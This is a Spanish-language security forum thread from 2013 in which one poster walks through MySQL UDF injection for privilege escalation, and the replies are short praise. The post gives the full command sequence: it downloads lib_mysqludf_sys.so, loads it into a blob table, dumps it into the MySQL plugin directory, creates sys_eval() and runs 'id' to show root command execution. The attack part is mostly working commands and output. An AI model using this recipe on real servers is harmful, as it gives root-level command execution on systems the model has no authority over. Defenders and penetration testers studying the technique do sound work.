Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: q3rv0 en Mayo 22, 2013, 03:00:24 PM

Título: Mysql UDF injection [Elevacion de privilegios]
Publicado por: q3rv0 en Mayo 22, 2013, 03:00:24 PM
Una linda manera de elevar privilegios en un sistema comprometido es aprovechando los permisos con los que corren ciertos demonios en el sistema como el servidor mysql.
Hay dos formas de añadir funciones a Mysql y una de ellas es a travez de la interface UDF (funciones definidas por el usuario) para esto habra que contar con la libreria necesaria apartir de la cual seran llamadas. Teniendo los privilegios necesarios podremos crear ciertas funciones como sys_eval() la cual nos permitiran ejecutar comandos como usuario root desde la propia db.

Ante todo debemos asegurarnos de que la base de datos corre con superprivilegios, miremos el fichero de configuracion en /etc/mysql/my.cnf


Código (text) [Seleccionar]
# * Basic Settings
#
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
language = /usr/share/mysql/english



Descargamos la libreria lib_mysqludf_sys.so dentro del directorio /tmp

Código (bash) [Seleccionar]
wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so

Conectamos con las credenciales obtenidas a la base de datos

Código (bash) [Seleccionar]
mysql -u "user" -p"password" database

Creamos la table code

Código (mysql) [Seleccionar]
CREATE TABLE code (codigo blob);

Presten atencion al tipo de campo "blob" este sirve para almacenar datos binarios entre otros, esto hara que al momento de volcar el fichero no se produzca un cambio de ciertos caracteres que puedan llegar a generar un error cuando la libreria sea llamada.

Insertaremos la libreria en la tabla code

Código (mysql) [Seleccionar]
INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));

Dumpeamos los datos en /usr/lib/mysql/plugin/ que es el directorio desde donde el servidor cargara las librerias.

Código (mysql) [Seleccionar]
SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

Por ultimo creamos la funcion sys_eval()


Código (mysql) [Seleccionar]
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';


Llamamos a  dicha funcion


Código (mysql) [Seleccionar]
select sys_eval('id');
+-----------------------------------------+
| sys_eval('id')                          |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root)
|
+-----------------------------------------+




Les dejo un video demostrativo que realize en un entorno controlado



Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: CalebBucker en Mayo 22, 2013, 04:35:30 PM
Muy bueno!
Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: Muppet en Mayo 22, 2013, 05:14:09 PM
Exelente Aporte!
Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: s3cur1tyr00t en Mayo 22, 2013, 05:39:21 PM
Muy bien redactado-explicado. Mis felicitaciones...
Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: Stuxnet en Mayo 22, 2013, 06:19:17 PM
Muy bueno, Felicidades.
Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: Mr. Foster en Mayo 22, 2013, 06:44:56 PM
Wow  :o creo que esto me responde varias dudas, lo probare mañana, tendre harto material para divertirme  ;D
Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: ZanGetsu en Mayo 22, 2013, 07:17:42 PM
muy buen aporte  ;)
Título: Re:Mysql UDF injection [Elevacion de privilegios]
Publicado por: Mr_Pack en Mayo 22, 2013, 07:47:54 PM
excelente q3rv0 como siempre ;)

gracias por compartir.

salu2